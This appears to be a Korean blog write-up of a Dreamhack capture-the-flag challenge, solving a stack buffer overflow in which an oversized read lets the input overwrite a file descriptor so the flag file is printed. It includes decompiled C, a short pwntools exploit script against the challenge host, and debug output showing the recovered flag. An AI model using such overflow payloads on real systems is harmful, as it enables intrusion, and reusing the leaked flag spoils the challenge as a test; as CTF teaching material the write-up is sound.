Description

    Stack Buffer Overflow 취약점이 존재하는 프로그램입니다. 주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag 파일에 있습니다.

    플래그의 형식은 DH{…} 입니다.


    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[80]; // [rsp+10h] [rbp-60h] BYREF
      int v5; // [rsp+60h] [rbp-10h]
      int fd; // [rsp+64h] [rbp-Ch]
      int v7; // [rsp+68h] [rbp-8h]
      int v8; // [rsp+6Ch] [rbp-4h]
    
      v8 = 0;
      v7 = 1;
      initialize(argc, argv, envp);
      flag = malloc(0x45uLL);
      fd = open("./flag", 0);
      read(fd, flag, 0x45uLL);
      close(fd);
      v5 = open("./tmp/flag", 1);
      write(1, "Your Input: ", 0xCuLL);
      read(0, buf, 0x80uLL);
      write(v5, flag, 0x45uLL);
      write(v5, buf, 0x50uLL);
      close(v5);
      return 0;
    }

    위 코드들을 실행했을때 스택으로 표현하면 아래와 같다.
    (P.S: 이전 함수의 base pointer, SFP는 8바이트여서 그림에서 공간을 더 늘려야했는데 못 늘림 ㅁㄴㅇㄹ)


    풀이

    18줄에 있는 read 함수에서 buf 크기보다 0x80(=128) 크기 만큼 더 많이 입력받을 수 있어서 버퍼 오버플로우가 발생한다.

    따라서 19줄에 있는 write 함수를 실행시킬때 스택에 있는 tmp_fd에 stdout_fd인 1을 덮어쓰면 flag가 출력될 것이다.

    from pwn import *
    
    context.log_level='debug'
    
    p = remote("host3.dreamhack.games", 18026)
    payload = b'\x41' * 80 + p32(1)
    p.sendafter('Your Input: ', payload)
    p.recvall()
    ubuntu@wh1te4ever-main:~/Desktop/awesome-basics$ python3 awesome-basics.py
    [+] Opening connection to host3.dreamhack.games on port 18026: Done
    [DEBUG] Received 0xc bytes:
        b'Your Input: '
    [DEBUG] Sent 0x54 bytes:
        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
        *
        00000050  01 00 00 00                                         │····│
        00000054
    [+] Receiving all data: Done (149B)
    [DEBUG] Received 0x45 bytes:
        b'DH{4ae8dab78b961371336e61a58d6ec5bf9af48e06ad3d96b3e5461e264e910eaa}\n'
    [DEBUG] Received 0x50 bytes:
        b'A' * 0x50
    [*] Closed connection to host3.dreamhack.games port 18026

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다